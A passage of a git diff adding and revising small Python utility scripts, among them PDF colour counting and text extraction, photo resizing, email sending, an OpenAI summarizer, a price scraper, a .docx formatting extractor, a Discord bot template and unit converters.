file.filename) + print(file_path) + with fitz.open(file_path) as doc: + print(doc) + # Iterate through the pages + for _, page in enumerate(doc): + # Render the page to an image + pix = page.get_pixmap(alpha=False) + img = Image.frombytes("RGB", [pix.width, pix.height], pix.samples) + + + arr = np.array(img) + arr_mean = cv2.mean(arr) + if not (arr_mean[0] == arr_mean[1] == arr_mean[2]): + colored_page_count += 1 + num += 1 + color_list.append(num) + #print('colored', num) + else: + num += 1 + black_count += 1 + black_list.append(num) + #print('Black', num) + print("\nColored Pages: ",color_list,"\n") + print("Black & White Pages: ",black_list) + #Close the file + os.remove(file_path) + return {"colored : ":colored_page_count,"Black Count : ":black_count} diff --git a/AUTOMATION/PDF Page Color Counter/requirements.txt b/AUTOMATION/PDF Page Color Counter/requirements.txt new file mode 100644 index 00000000..a9e71d79 --- /dev/null +++ b/AUTOMATION/PDF Page Color Counter/requirements.txt @@ -0,0 +1,16 @@ +anyio==3.6.2 +click==8.1.3 +colorama==0.4.6 +fastapi==0.92.0 +h11==0.14.0 +idna==3.4 +numpy==1.24.2 +opencv-python==4.7.0.72 +Pillow==9.4.0 +pydantic==1.10.5 +PyMuPDF==1.21.1 +python-multipart==0.0.6 +sniffio==1.3.0 +starlette==0.25.0 +typing_extensions==4.5.0 +uvicorn==0.20.0 diff --git a/AUTOMATION/PDF Page Color Counter/static/Screenshot 2023-10-25 133406.png b/AUTOMATION/PDF Page Color Counter/static/Screenshot 2023-10-25 133406.png new file mode 100644 index 00000000..d238ee18 Binary files /dev/null and b/AUTOMATION/PDF Page Color Counter/static/Screenshot 2023-10-25 133406.png differ diff --git a/AUTOMATION/PDF Page Color Counter/static/image.png b/AUTOMATION/PDF Page Color Counter/static/image.png new file mode 100644 index 00000000..a3dabeb8 Binary files /dev/null and b/AUTOMATION/PDF Page Color Counter/static/image.png differ diff --git a/AUTOMATION/PDF To Text/README.md b/AUTOMATION/PDF To Text/README.md index 73b829c6..5335d2ad 100644 --- a/AUTOMATION/PDF To Text/README.md +++ b/AUTOMATION/PDF To Text/README.md @@ -1,21 +1,49 @@ -# Extracting text from PDF using Python +# Extracting Text from PDF using Python -Create a new folder and create a pdfToText.py file in it. Copy and paste the code in pdfToText.py in this repository to that file. +This project is aimed at extracting text from PDF files using Python. -Open the Terminal: +## Getting Started -```py -pip install pdfminer.six +These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. +### Prerequisites + +Before running the script, you must install the appropriate dependencies. To install these dependencies, run the following command in your terminal. + +```bash +pip install -r requirements.txt ``` -In the same folder, add the pdf from which you want to extract text (Here the pdf used is test.pdf). Provide this pdf as a command line argument. +### Using the Tool -Run the script using: +Follow these steps to use the tool: -```py -python3 pdfToText.py test.pdf +1. Run the 'pdfToText.py' script: -``` + ```bash + python pdfToText.py + ``` + +2. When prompted, provide the full path along with the file name of the PDF from which you want to extract text. For example: + + ```bash + D:\FolderName\FileName.pdf + ``` + +3. The data from the PDF will be extracted and stored in a .txt file in the same folder. For example: + + ```bash + D:\FolderName\FileName.txt + ``` + +### Error Handling + +If any error is encountered during the process, it will be printed on the screen. For resolution, check the error message and debug accordingly. + +Feel free to report any bugs or request features using the issue tracker. + +## Example Run and Output + +Below is a screenshot demonstrating how to run the commands in the terminal: -The extracted text will be available in converted_pdf.txt +![Sample Usage of the Script](./SampleUsage.png) diff --git a/AUTOMATION/PDF To Text/SampleUsage.png b/AUTOMATION/PDF To Text/SampleUsage.png new file mode 100644 index 00000000..6f36b18f Binary files /dev/null and b/AUTOMATION/PDF To Text/SampleUsage.png differ diff --git a/AUTOMATION/PDF To Text/converted_pdf.txt b/AUTOMATION/PDF To Text/converted_pdf.txt deleted file mode 100644 index f0ca181e..00000000 --- a/AUTOMATION/PDF To Text/converted_pdf.txt +++ /dev/null @@ -1,28 +0,0 @@ -Adobe Acrobat PDF Files - -Adobe® Portable Document Format (PDF) is a universal file format that preserves all -of the fonts, formatting, colours and graphics of any source document, regardless of -the application and platform used to create it. - -Adobe PDF is an ideal format for electronic document distribution as it overcomes the -problems commonly encountered with electronic file sharing. - -• Anyone, anywhere can open a PDF file. All you need is the free Adobe Acrobat -Reader. Recipients of other file formats sometimes can't open files because they -don't have the applications used to create the documents. - -• PDF files always print correctly on any printing device. - -• PDF files always display exactly as created, regardless of fonts, software, and -operating systems. Fonts, and graphics are not lost due to platform, software, and -version incompatibilities. - -• The free Acrobat Reader is easy to download and can be freely distributed by - -anyone. - -• Compact PDF files are smaller than their source files and download a - -page at a time for fast display on the Web. - - \ No newline at end of file diff --git a/AUTOMATION/PDF To Text/pdfToText.py b/AUTOMATION/PDF To Text/pdfToText.py index c2dc609a..811b88bf 100644 --- a/AUTOMATION/PDF To Text/pdfToText.py +++ b/AUTOMATION/PDF To Text/pdfToText.py @@ -1,17 +1,34 @@ -import argparse -import pdfminer.high_level +from pathlib import Path +from PyPDF2 import PdfReader -# Extract text with Pdfminer.six Module -def With_PdfMiner(pdf): - with open(pdf,'rb') as file_handle_1: - doc = pdfminer.high_level.extract_text(file_handle_1) - with open('converted_pdf.txt','w') as file_handle_2 : - file_handle_2.write(doc) +def convert_pdf(filename): + my_file = Path(filename) + + # Check if provided PDF file exists + if not my_file.is_file(): + print('Error! File Not Found!') + return None + print('PDF Found! Attempting Conversion...') + + # Exception Handling during Data Extraction from PDF File + try: + # Define .txt file which will contain the extracted data + out_filename = my_file.with_suffix('.txt') + # Extracting Data from PDF file page-by-page and storing in TXT file + pdf_reader = PdfReader(filename) + with open(out_filename, 'w', encoding='utf-8') as extracted_data: + for page in pdf_reader.pages: + text = page.extract_text() + extracted_data.write(text) + print('PDF to TXT Conversion Successful!') + + # If any Error is encountered, Print the Error on Screen + except Exception as e: + print(f'Error Converting PDF to Text or Saving Converted Text into .txt file: {e}') + return None if __name__ == '__main__': - parser = argparse.ArgumentParser() - parser.add_argument("file", help = "PDF file from which we extract text") - args = parser.parse_args() - With_PdfMiner(args.file) + file = input('Enter Full Path and FileName: ') + convert_pdf(file) \ No newline at end of file diff --git a/AUTOMATION/PDF To Text/requirements.txt b/AUTOMATION/PDF To Text/requirements.txt new file mode 100644 index 00000000..10e8cb8c --- /dev/null +++ b/AUTOMATION/PDF To Text/requirements.txt @@ -0,0 +1,2 @@ +PyPDF2 +pathlib \ No newline at end of file diff --git a/AUTOMATION/PDF To Text/test.pdf b/AUTOMATION/PDF To Text/test.pdf deleted file mode 100644 index f698ff53..00000000 Binary files a/AUTOMATION/PDF To Text/test.pdf and /dev/null differ diff --git a/AUTOMATION/PhotoResizing/README.md b/AUTOMATION/PhotoResizing/README.md new file mode 100644 index 00000000..91585c15 --- /dev/null +++ b/AUTOMATION/PhotoResizing/README.md @@ -0,0 +1,18 @@ +# Photo Resizing + +### Description + +I built this program because my company needs all employee badge photos to be the same size for +posting in the employee directory. Photos are taken at multiple sites using different cameras, +resulting in multiple photos of different sizes each week. + +This program automates the process resizing each photo and saving it in a specific directory. + +### Functionality +- Image file resizing (of course!) +- Archiving +- Directory clean-up + +### Instructions +Simply pip install the requirements.txt and run! + diff --git a/AUTOMATION/PhotoResizing/photo_resizing.py b/AUTOMATION/PhotoResizing/photo_resizing.py new file mode 100644 index 00000000..c79c0c60 --- /dev/null +++ b/AUTOMATION/PhotoResizing/photo_resizing.py @@ -0,0 +1,148 @@ +""" +This program retrieves photos, standardizes their size, then renames and +saves the resized photos in a new directory. Old photos are deleted, +and an email is sent to the user indicating whether or not the +operation was successful. +""" + + +import collections +import os +import glob +import shutil +import gc +import threading, time +from time import time +from functools import wraps +from pathlib import Path +from PIL import Image +import win32com.client as win32 + + +target = 'folder to save resized photos' +archive_path = 'folder to save original photos' + +to_email="person@domain1.com,person@domain2.com" + + +def main(): + process_sf_photos() + + +def count_files_to_resize(): + global c + global d + c = collections.Counter(p.suffix for p in Path.cwd().glob('*.jpg')) + d = c['.jpg'] + print(f'There are {d} files to resize.') + + +def resize(): + new_size = (180, 240) + global file_count + file_count = 0 + for i in Path.cwd().iterdir(): + if i.suffix == '.jpg': + file = Image.open(i.name) + file = file.resize(new_size) + file.save(f'{target}' + i.name[:-4] + '.jpg') + file_count += 1 + print(f'{file_count} images were resized', '.....', sep='\n') + + +# Copies each re-sized file into archive folder +def copy_to_archive(): + global copy_count + copy_count = 0 + print('Copying files to SubSFPhotos - Archive...') + for fn in glob.glob(os.path.join(target, '*.jpg')): + shutil.copy(fn, archive_path) + copy_count += 1 + + print('Finished! ', f'{copy_count} files copied.', '.....', sep='\n') + + +def delete_old_files(): + global delete_count + delete_count = 0 + print('Deleting old files...') + os.chdir(target) + for i in Path.cwd().iterdir(): + if i.suffix == '.jpg': + os.remove(i.name) + delete_count += 1 + print('Finished!', f'{delete_count} files deleted.', '.....', sep='\n') + + +def thread_resize(): + threadResize = threading.Thread(target=resize) + threadResize.start() + threadResize.join() + + +def thread_copy(): + threadCopy = threading.Thread(target=copy_to_archive) + threadCopy.start() + threadCopy.join() + + +def thread_delete(): + threadCopy = threading.Thread(target=delete_old_files) + threadCopy.start() + threadCopy.join() + + +def good_email(): + outlook = win32.gencache.EnsureDispatch('Outlook.Application') + new_mail = outlook.CreateItem(0) + new_mail.Subject = "Photos resized with no problems" + message = f'Number of files to resize: {d}.\n{file_count} were resized.\n' \ + f'{copy_count} files were copied.\n{delete_count} files were deleted. ' + new_mail.Body = message + new_mail.To = to_email + new_mail.Send() + + +def bad_email(): + outlook = win32.gencache.EnsureDispatch('Outlook.Application') + new_mail = outlook.CreateItem(0) + new_mail.Subject = "Photo resize error." + message = "There was an error in resizing the images." + new_mail.Body = message + new_mail.To = to_email + new_mail.Send() + + +def timer(f): + @wraps(f) + def wrapper(*args, **kwargs): + start = time() + result = f(*args, **kwargs) + end = time() + print(f'Process runs in {format(end - start)} seconds.') + return result + + return wrapper + + +@timer +def process_sf_photos(): + try: + count_files_to_resize() + thread_resize() + thread_copy() + thread_delete() + gc.collect() + except Exception as x: + print(f"Looks like we have a problem: {type(x)} -> {x}") + # bad_email() + + +if __name__ == '__main__': + run = 1 + if run == 1: + main() + else: + print("Program didn't run. Set 'run' to 1 to run it.") + + gc.collect() diff --git a/AUTOMATION/PhotoResizing/requirements.txt b/AUTOMATION/PhotoResizing/requirements.txt new file mode 100644 index 00000000..8cb4c25b --- /dev/null +++ b/AUTOMATION/PhotoResizing/requirements.txt @@ -0,0 +1,2 @@ +Pillow==9.2.0 +win32-setctime==1.1.0 diff --git a/AUTOMATION/Sending-Emails/code.py b/AUTOMATION/Sending-Emails/code.py index 015d9e8c..acb2cd71 100644 --- a/AUTOMATION/Sending-Emails/code.py +++ b/AUTOMATION/Sending-Emails/code.py @@ -1,36 +1,44 @@ -###### Notice ###### - -# before sending email you have to enable your less secure apps access in your sending mail (xyz@gmail.com) - import smtplib +import os from email.message import EmailMessage - -EMAIL_ADDRESS = "xyz@gmail.com" # your email-id goes here -EMAIL_PASSWORD = "xyz" # your password goes here - -msg = EmailMessage() -msg['Subject'] = 'this is subject' -msg['From'] = EMAIL_ADDRESS -msg['To'] = EMAIL_ADDRESS - -msg.set_content('Content area') - -msg.add_alternative("""\ - - -

Your HTML CONTENT GOES HERE

- - -""", subtype='html') - -with open('testing.txt', 'rb') as f: # your filename will go here - file_data = f.read() - file_name = f.name - - msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name) - -with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: - smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) - - smtp.send_message(msg) - print("Email Sent Successfully ..") \ No newline at end of file +import logging + +# Set up logging +logging.basicConfig(level=logging.INFO) + +# Use environment variables for credentials +EMAIL_ADDRESS = os.getenv('EMAIL_ADDRESS') +EMAIL_PASSWORD = os.getenv('EMAIL_PASSWORD') + +def send_email(subject, recipient, body, html_content=None, attachment_path=None): + msg = EmailMessage() + msg['Subject'] = subject + msg['From'] = EMAIL_ADDRESS + msg['To'] = recipient + + msg.set_content(body) + + if html_content: + msg.add_alternative(html_content, subtype='html') + + if attachment_path: + try: + with open(attachment_path, 'rb') as f: + file_data = f.read() + file_name = f.name + msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name) + except FileNotFoundError: + logging.error(f"Attachment file {attachment_path} not found.") + return + + try: + with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: + smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) + smtp.send_message(msg) + logging.info("Email Sent Successfully") + except Exception as e: + logging.error(f"An error occurred: {e}") + +# Usage Example +send_email('Test Subject', 'recipient@example.com', 'This is the email body', + '

HTML Content

', 'testing.txt') diff --git a/AUTOMATION/Summarizer App/.gitignore b/AUTOMATION/Summarizer App/.gitignore new file mode 100644 index 00000000..a3d0f49e --- /dev/null +++ b/AUTOMATION/Summarizer App/.gitignore @@ -0,0 +1 @@ +.Streamlit/ \ No newline at end of file diff --git a/AUTOMATION/Summarizer App/app.py b/AUTOMATION/Summarizer App/app.py new file mode 100644 index 00000000..36d4d2e6 --- /dev/null +++ b/AUTOMATION/Summarizer App/app.py @@ -0,0 +1,27 @@ +import openai +import streamlit as st + +openai.api_key = st.secrets['api_secret'] + +st.header("Summarizer App using OpenAI ") +article_text = st.text_area("Enter your scientific texts to summarize") +output_size = st.radio( label = "What kind of output do you want? ", options= ["To-The-Point", "Concise", "Detailed"]) + +if output_size == "To-The-Point": + out_token = 50 +elif output_size == "Concise": + out_token = 128 +else: + out_token = 516 + + +if (len(article_text)>100): + # max = st.text_input("Enter the max words you want your text to be summarized in") + if st.button("Generate Summary",type='primary'): + response = openai.Completion.create( engine = "text-davinci-002", prompt = "Please summarize this scientific article for me in a few sentences: "+ article_text, max_tokens = out_token, temperature = 0.5) + res = response["choices"][0]["text"] + st.success(res) + st.download_button("Download the result", res) + + elif (len(article_text)<100): + st.warning("The Sentence is not long enough") \ No newline at end of file diff --git a/AUTOMATION/Web_Scraper/Graphics Card.xlsx b/AUTOMATION/Web_Scraper/Graphics Card.xlsx new file mode 100644 index 00000000..8d5a48ce Binary files /dev/null and b/AUTOMATION/Web_Scraper/Graphics Card.xlsx differ diff --git a/AUTOMATION/Web_Scraper/README.md b/AUTOMATION/Web_Scraper/README.md new file mode 100644 index 00000000..c883379d --- /dev/null +++ b/AUTOMATION/Web_Scraper/README.md @@ -0,0 +1,44 @@ +# Introduction + +This Python program is a web scraper that extracts data about graphics cards from a specific website. It uses the BeautifulSoup library to parse the HTML content of the website and requests library to fetch the web page. + +## Requirements + +- Python 3.x +- BeautifulSoup library (`beautifulsoup4`) +- Requests library (`requests`) +- Openpyxl library (`openpyxl`) + +You can install the required libraries using pip: + +``` +pip install beautifulsoup4 requests openpyxl +``` + +## How to Use + +1. Clone this repository or download the files. + +2. Open a terminal or command prompt and navigate to the project directory. + +3. Run the Python script `app.py`: + +``` +app.py +``` + +4. The program will start scraping data from the website and display the brand, name, and price of each graphics card on the console. + +5. Once the scraping is complete, the program will save the data to an Excel file named `Graphics Card.xlsx`. + +## Configuration + +You can modify the URL in the `scrape_graphics_cards_data()` function inside the `app.py` file to scrape data from a different website or adjust the parameters as needed. + +## Output + +The program will generate an Excel file `Graphics Card.xlsx` containing the scraped data. Each row in the Excel file represents a graphics card and includes the columns `Brand`, `Name`, and `Price`. + +## Disclaimer + +This web scraper is provided for educational and informational purposes only. Please be respectful of the website's terms of service and scraping policies. Always obtain proper authorization before scraping any website, and use the scraper responsibly and ethically. diff --git a/AUTOMATION/Web_Scraper/app.py b/AUTOMATION/Web_Scraper/app.py new file mode 100644 index 00000000..b2ee1f80 --- /dev/null +++ b/AUTOMATION/Web_Scraper/app.py @@ -0,0 +1,54 @@ +from bs4 import BeautifulSoup +import requests +import openpyxl + + +def extract_brand_name_and_title(name): + # Split the name and return the first word as the brand name and the rest as title + brand, title = name.split(' ', 1) + return brand, title + + +def scrape_graphics_cards_data(): + try: + # Create a new Excel workbook and set up the worksheet + excel = openpyxl.Workbook() + sheet = excel.active + sheet.title = "price" + sheet.append(['Brand', 'Name', 'Price']) + + url = 'https://www.techlandbd.com/pc-components/graphics-card?sort=p.price&order=ASC&fq=1&limit=100' + response = requests.get(url) + response.raise_for_status() + + # Parse the HTML content + soup = BeautifulSoup(response.text, 'html.parser') + + # Find all product cards on the webpage + cards = soup.find('div', class_='main-products product-grid').find_all( + 'div', class_='product-layout has-extra-button') + + for card in cards: + # Extract the product name + name = card.find('div', class_='name').a.text + + # Split the name to get the brand and title + brand, title = extract_brand_name_and_title(name) + + # Extract the product price + price = card.find('div', class_='price').span.text + + # Print the product details and add them to the Excel sheet + print(brand, title, price) + sheet.append([brand, title, price]) + + # Save the Excel file + excel.save('Graphics Card.xlsx') + + except Exception as e: + print("An error occurred:", e) + + +if __name__ == "__main__": + # Call the main scraping function + scrape_graphics_cards_data() diff --git a/AUTOMATION/analyzing and writing .docx file/README.md b/AUTOMATION/analyzing and writing .docx file/README.md new file mode 100644 index 00000000..b76c7997 --- /dev/null +++ b/AUTOMATION/analyzing and writing .docx file/README.md @@ -0,0 +1,20 @@ +# Analyze any `.docx` file for bold, underlined, italicized text +This program helps you find all the bold, underlined and italicized text in a word document. + +First create a new folder and then create a file named `extract.py` inside it and copy paste the code to it. +Then you need to install `python-docx` +```bash +$ pip install python-docx +``` +Copy your word document for example, `process_design_notes.docx` into the current working directory(CWD). + +The CWD should now have two files i.e. **extract.py** and **process_design_notes.docx**. + +Open a terminal or command prompt in CWD and type +```bash +#for linux +python3 extract.py process_design_notes.docx +#for windows +python extract.py process_design_notes.docx +``` +After typing above command the program will execute on the word document and append the extracted bold, italicized, underlined words to it. diff --git a/AUTOMATION/analyzing and writing .docx file/extract.py b/AUTOMATION/analyzing and writing .docx file/extract.py new file mode 100644 index 00000000..a707ada6 --- /dev/null +++ b/AUTOMATION/analyzing and writing .docx file/extract.py @@ -0,0 +1,199 @@ +""" This module uses 'python-docx' package to analyze a Word Document ('.docx') + This module can be imported in other programs but the preffered way is to run it + as a Script from the command line like this: + + $ python extract.py + + The basic function of the program is to analyze the word document and + collect bold, italic and underlined words from it and then + after analyzing write these collected words at the end of the word document. + So the program first reads the word document, collects bold, italic + and underlined words from it and then writes the collected words at + the very end of the same word document + Copyright 2023 Kashaan Mahmood + License: MIT License + https://opensource.org/license/mit/ + """ + + +from docx import Document +from docx.api import Document +from docx.enum.text import WD_ALIGN_PARAGRAPH + +# global variables +total_words = 0 +wordsList = "" + + +# calculate total words in docx +def get_total_words(docxFile): + document = Document(docxFile) + total = 0 + for p in document.paragraphs: + for run in p.runs: + total += len(run.text.split()) + return total + + +unwanted_characters = [ + '"', + "'", + "’", + "“", + ":", + "\n", + "-", + "— — ", + "—", + ".", + ",", + ";", + "!", + "?", +] + + +def remove_unwanted(words): + """remove unwanted characters from analyzed output""" + for i in unwanted_characters: + if i in words: + words = words.replace(i, "") + return words + + +def analyze(docxFile): + """analyze the docx file and collect bold, italicized, and underlined words from it + and return a `collect` object these selected words + """ + + document = Document(docxFile) + + collect = [ + {"b": []}, + {"i": []}, + {"u": []}, + {"bi": []}, + {"bu": []}, + {"iu": []}, + {"biu": []}, + ] + + for p in document.paragraphs: + for run in p.runs: + if run.bold and run.italic and run.underline: + filtered_text = remove_unwanted(run.text) + collect[6]["biu"].append(filtered_text) + + elif run.bold and run.italic: + filtered_text = remove_unwanted(run.text) + collect[3]["bi"].append(filtered_text) + + elif run.bold and run.underline: + filtered_text = remove_unwanted(run.text) + collect[4]["bu"].append(filtered_text) + + elif run.italic and run.underline: + filtered_text = remove_unwanted(run.text) + collect[5]["iu"].append(filtered_text) + + elif run.bold: + filtered_text = remove_unwanted(run.text) + collect[0]["b"].append(filtered_text) + + elif run.italic: + filtered_text = remove_unwanted(run.text) + collect[1]["i"].append(filtered_text) + + elif run.underline: + filtered_text = remove_unwanted(run.text) + collect[2]["u"].append(filtered_text) + + return collect + + +def write_data(docxFile, data): + """gets the `collect` variable as 'data' argument from analyze() + and reads and appends the 'data' to end of docx file + """ + + global wordsList + + document = Document(docxFile) + + def save_document(): + document.save(docxFile) + return "saved" + + def add_words(key): + global wordsList + categories = { + "b": "\nBold Words:-", + "i": "\n\nItalicized Words:-", + "u": "\n\nUnderlined Words:-", + "bi": "\n\nBold & Italicized Words:-", + "bu": "\n\nBold & Underlined Words:-", + "biu": "\n\nBold & Italicized & Underlined Words:-", + "iu": "\n\nItalicized & Underlined Words:-", + } + for word in words[key]: + category = categories[key] + if len(wordsList) == 0 or category not in wordsList: + wordsList = wordsList + f"{category}\n{word}" + else: + wordsList = wordsList + f", {word}" + + title_p = document.add_paragraph(f"\n========== Extracted Words ==========\n") + + title_p.paragraph_format.alignment = WD_ALIGN_PARAGRAPH.CENTER + + write_p = document.add_paragraph() + + for words in data: + if words.__contains__("b") and words["b"]: + add_words("b") + + elif words.__contains__("u") and words["u"]: + add_words("u") + + elif words.__contains__("bi") and words["bi"]: + add_words("bi") + + elif words.__contains__("bu") and words["bu"]: + add_words("bu") + + elif words.__contains__("iu") and words["iu"]: + add_words("iu") + + elif words.__contains__("biu") and words["biu"]: + add_words("biu") + + write_p.add_run(f"{wordsList}") + + ending_p = document.add_paragraph("\n===================\n") + ending_p.paragraph_format.alignment = WD_ALIGN_PARAGRAPH.CENTER + + save_document() + return + + +# function calls inside main() + + +def main(): + global total_words + + data = analyze(docx) + write_data(docx, data) + + +if __name__ == "__main__": + from sys import argv + import time + + # get docx file + docx = argv[1] + + print(f"Started at {time.strftime('%X')}...") + # calling main() + main() + print(f"Finished at {time.strftime('%X')}...") diff --git a/BOTS/DiscordBotTemplate/Main.py b/BOTS/DiscordBotTemplate/Main.py new file mode 100644 index 00000000..dfc9efb4 --- /dev/null +++ b/BOTS/DiscordBotTemplate/Main.py @@ -0,0 +1,27 @@ +import discord +import os +from random import randint + +TOKEN = "" #place your bots token here + +bot = discord.Bot() #defines the bot + +#this event will print to the console when the bot is running and ready for commands +@bot.event +async def on_ready(): + print(f'{bot.user} is ready') + +#below are the commands, have fun with it, you are only limited by your imagination + +#Example command, test it in your server using /hello +@bot.slash_command(name = "hello", description = "Say hello to the bot") +async def hello(ctx): + await ctx.respond("Hey!") + +#another example, here the bot will provide a random number between 1 and 10. +@bot.slash_command(name = "random", description = "get a random number between 1 and 10") +async def random(ctx): + await ctx.respond(randint(1,10)) + + +bot.run(TOKEN) #this line is what runs the bot itself \ No newline at end of file diff --git a/BOTS/DiscordBotTemplate/README.md b/BOTS/DiscordBotTemplate/README.md new file mode 100644 index 00000000..7c3d438e --- /dev/null +++ b/BOTS/DiscordBotTemplate/README.md @@ -0,0 +1,23 @@ +### A Discord Bot template + +#### Requirements: +- Python3 +- pip +- Pycord + +### Not required but useful +- dotenv + +#### Getting started +You will need to create a bot using the discord developer portal +you will also need to pip install both pycord + +I would recommend getting dotenv and saing your token in that file, however it is not necessary if you plan to keep +the bot running on your local machine only and do not plan to upload it to github. + +once you have created your bot you can under OAuth2 you can select the permissions your bot needs and get the link to invite the bot to a server. +once done go to the Bot tab and copy your Token. You will place this in a .env file. +eg: Token = ygawiushjfgblfkhkjbn +this is to keep the token safe if you plan on uploading it to your own github repository. Otherwise you can place it directly inside the main.py file. + +Now you can create any further commands you would like and enjoy your very own customisable discord bot. \ No newline at end of file diff --git a/BOTS/DiscordBotTemplate/requirements.txt b/BOTS/DiscordBotTemplate/requirements.txt new file mode 100644 index 00000000..5f27b6b3 --- /dev/null +++ b/BOTS/DiscordBotTemplate/requirements.txt @@ -0,0 +1 @@ +py-cord==2.4.1 diff --git a/CONVERSION SCRIPTS/HTML to Excel/HTML to Excel.py b/CONVERSION SCRIPTS/HTML to Excel/HTML to Excel.py new file mode 100644 index 00000000..a63de6eb --- /dev/null +++ b/CONVERSION SCRIPTS/HTML to Excel/HTML to Excel.py @@ -0,0 +1,59 @@ +# Importing necessary libraries +import csv +import openpyxl +import pandas as pd +from openpyxl import Workbook +from openpyxl.styles import Font + +# Reading HTML file and defining paths for CSV and Excel files +file = pd.read_html("./Test Report_2021-08-18_12-45-00.html") +path = "./your_csv_name.csv" +xlpath = 'name.xlsx' + +# Function to write data from HTML to CSV and convert it to Excel format +def write_html_csv(): + for index, data in enumerate(file): + # Check for index value and print data + if index: + data.to_csv("./your_csv_name.csv", mode='a+', header=True) + + # Creating an instance of Workbook and creating a new sheet + wb = Workbook() + ws = wb.active + + # Reading CSV file and writing data to Excel + with open(path, 'r') as f: + for row in csv.reader(f): + ws.append(row) + + # Saving the Excel file + wb.save(xlpath) + +# Function to modify the Excel sheet by adding bold font to certain cell values +def modify_excel(): + # Opening the Excel file + wb_obj = openpyxl.load_workbook(xlpath) + sheet_obj = wb_obj.active + + # Getting the number of rows and columns in the sheet + rows = sheet_obj.max_row + cols = sheet_obj.max_column + + # Looping through each cell and checking for certain values to apply font style + for i in range(1, rows + 1): + for j in range(1, cols + 1): + if ("Test_Cases" in str(sheet_obj.cell(i, j).value)) or ("Status" in str(sheet_obj.cell(i, j).value)): + x = sheet_obj.cell(i, j).coordinate + y = sheet_obj.cell(i, j).row + sheet_obj[x].font = Font(bold=True) + + # Saving the modified Excel file + wb_obj.save(xlpath) + +# Running the functions and printing messages to indicate completion of tasks +print("Starting task one") +write_html_csv() +print("Task one over") +print("Starting task two") +modify_excel() +print("Task two over") diff --git a/CONVERSION SCRIPTS/HTML to Excel/readme.md b/CONVERSION SCRIPTS/HTML to Excel/readme.md new file mode 100644 index 00000000..52d33d19 --- /dev/null +++ b/CONVERSION SCRIPTS/HTML to Excel/readme.md @@ -0,0 +1,18 @@ +# HTML file into a CSV file +This script is designed to convert data from an HTML file into a CSV file and then modify that CSV file in Excel format. + +## Requirements +1. Python 3.x +2. openpyxl +3. pandas +## Usage +1. Ensure that the required packages are installed. +2. Update the file paths in the script to reflect your specific file names and paths. +3. Run the script from the command line: python script_name.py. +4. The script will perform the following tasks: +5. Convert the data from the HTML file to a CSV file. +6. Modify the CSV file in Excel format by bolding the font of certain cells. +7. Once the script is complete, the modified Excel file will be saved in the specified file path. + +Note: Ensure that the HTML file is in the same directory as the script or specify the correct path in the script. + diff --git a/CONVERSION SCRIPTS/Temperature and Distance Converter/README.md b/CONVERSION SCRIPTS/Temperature and Distance Converter/README.md new file mode 100644 index 00000000..12e6f55e --- /dev/null +++ b/CONVERSION SCRIPTS/Temperature and Distance Converter/README.md @@ -0,0 +1,15 @@ +## Temperature and Distance Converter + +Python Tkinter program that allows a variety of distance and temperature programsconversions. + +## Modules + +Requires Tkinter. Use the following command if not previously installed: + +``` +pip install -r requirements.txt +``` + +## Use + +Run the script in an environment that supports tkinter GUI. \ No newline at end of file diff --git a/CONVERSION SCRIPTS/Temperature and Distance Converter/converter.py b/CONVERSION SCRIPTS/Temperature and Distance Converter/converter.py new file mode 100644 index 00000000..c0e3ffd5 --- /dev/null +++ b/CONVERSION SCRIPTS/Temperature and Distance Converter/converter.py @@ -0,0 +1,98 @@ +from fractions import Fraction +import tkinter as tk + +convert = {"Distance": {"Inches to Centimeters": lambda x: x * 2.54, + "Centimeters to Inches": lambda x: x / 2.54, + "Feet to Inches": lambda x: x * 12, + "Inches to Feet": lambda x: x / 12, + "Meters to Feet": lambda x: ((100 / 2.54) / 12) * x, + "Feet to Meters": lambda x: x / ((100 / 2.54) / 12), + "Inches to Meters": lambda x: (x * 2.54) / 100, + "Meters to Inches": lambda x: (100 / 2.54) * x, + "Miles to Feet": lambda x: x * 5280, + "Feet to Miles": lambda x: x / 5280, + "Miles to Yards": lambda x: x * 1760, + "Yards to Miles": lambda x: x / 1760, + "Miles to Kilometers": lambda x: x * 1.609, + "Kilometers to Miles": lambda x: x / 1.609}, + "Temperature": {"Fahrenheit to Celsius": lambda x: (x - 32) * (5/9), + "Celsius to Fahrenheit": lambda x: x * (9/5) + 32}} + +window = tk.Tk() +window.title("Converter") +window.geometry("400x400") +bg_color, fg_color = "white", "black" +window.configure(bg = bg_color) + +entry_frame = tk.Frame(window, bg = bg_color) +lbl = tk.Label(window, bg = bg_color, fg = fg_color) +lbl.pack() +for i in 'entry_lbl1', 'entry_lbl2', 'error_lbl', 'entry2': + globals()[i] = tk.Label(entry_frame, bg = bg_color, fg = fg_color) +entry1 = tk.Entry(entry_frame) +def conversion(event): + try: + entry2['text'] = convert[category][choice](float(entry1.get())) + error_lbl['text'] = '' + except: + error_lbl['text'] = "Sorry, please input a number." + entry1.delete(0, tk.END); entry2['text'] = '' + +entry1.bind("", conversion) + +def go_back(): + for i in window.children: + if '!radiobutton' in i: + window.children[i].pack_forget() + entry_frame.pack_forget(); back_btn.pack_forget() + start() +back_btn = tk.Button(window, text = 'BACK', command = go_back) + +def make_rbtns(List): + rbtns = {} + w = max([len(i) for i in List]) + 2 + for i in List: + rbtns[i] = {} + rbtns[i]['var'] = tk.StringVar() + rbtns[i]['button'] = tk.Radiobutton(window, text = i, value = i, var = rbtns[i]['var'], fg = fg_color, bg = bg_color, width = w, anchor = 'w') + rbtns[i]['button'].pack() + if step != 1: + back_btn.pack() + return rbtns + +def chosen(rbtns): + for i in rbtns: + rbtns[i]['button'].pack_forget() + if rbtns[i]['var'].get() != '': + choice = i + return choice + +def entered(): + global choice + choice = chosen(choices) + lbl['text'] = "Enter your conversions below:" + entry_lbl1['text'] = choice.split("to")[0]; entry_lbl2['text'] = choice.split('to')[1] + entry_lbl1.grid(row = 1, column = 0); entry_lbl2.grid(row = 2, column = 0) + entry1.grid(row = 1, column = 1); entry2.grid(row = 2, column = 1) + entry1.focus() + error_lbl.grid(row = 3, column = 1) + entry_frame.pack() + back_btn.pack_forget(); back_btn.pack() + +def init(): + global choices, category, step + step = 2 + category = chosen(categories) + choices = make_rbtns(convert[category]) + for i in choices: + choices[i]['button']['command'] = entered + +def start(): + global categories, step + step = 1 